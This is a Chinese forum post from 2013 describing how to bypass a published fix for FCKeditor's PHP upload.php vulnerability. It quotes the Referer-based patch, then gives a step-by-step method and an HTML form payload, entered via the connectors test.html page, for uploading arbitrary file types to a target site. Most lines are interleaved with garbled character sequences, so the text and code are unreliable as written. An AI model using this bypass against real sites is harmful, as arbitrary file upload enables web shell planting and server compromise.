找回密码
 立即注册
查看: 3126|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php; X2 e3 u/ F& q. \6 I
网上给出的修复方案是
$ h) b$ b) d, W. g! u% A修复方法,删除FCK编辑器用其他的编辑器
$ w8 h1 ]$ t- q7 h! h0 {或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件0 f4 _- x" E( h0 u8 W3 K

4 |, G  @' w# E  Grequire(‘config.php’);: a- n) m, }  \7 Q, m- Z
require(‘util.php’);
  {* O' f% {* W3 |的下面添加以下代码—————————–
- f% k7 z& D/ `//防止外部提交
8 }* O" {2 a2 t: ~  i6 Kfunction outsidepost()
% `' I7 a8 Z* Y{5 k8 i! Z$ \  M" f$ K0 A
$servername=$_SERVER['SERVER_NAME'];
5 g5 y, ]1 P0 h) Z5 n$sub_from=@$_SERVER['HTTP_REFERER'];
  C; R; l* {6 v$ S& G' @$sub_len=strlen($servername);
/ {% S+ @0 }( s, {  T. l8 A4 N$checkfrom=substr($sub_from,7,$sub_len);
8 t+ d; v" j, L) m3 v2 sif($checkfrom!=$servername){
/ \4 m  l( h+ w, Q" ?- w$ E/ `echo(“you don’t outsidepost!”);
1 }6 r. G  M: }; A5 Lexit;- m  x7 |" n  T! |
}
9 U" k# V8 T$ H4 S0 f7 `3 H}5 c. X; a" N6 R8 ^1 A
outsidepost();
7 K$ s; ?$ l+ W8 l3 L防止外部提交,但是没有防止内部提交,: Y+ M  @/ N0 L$ \& J* A5 g' e; e5 Z
利用方法:
9 G9 m( v" Z: ]1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
+ e) e# c" h6 b& {2,在Current Folder 框输入
' c7 U& M% C: i! o( G' C4 v<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>( q1 q. @  x$ I* P
然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。% }1 @' R) {; u+ ~. W. `4 x
PS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表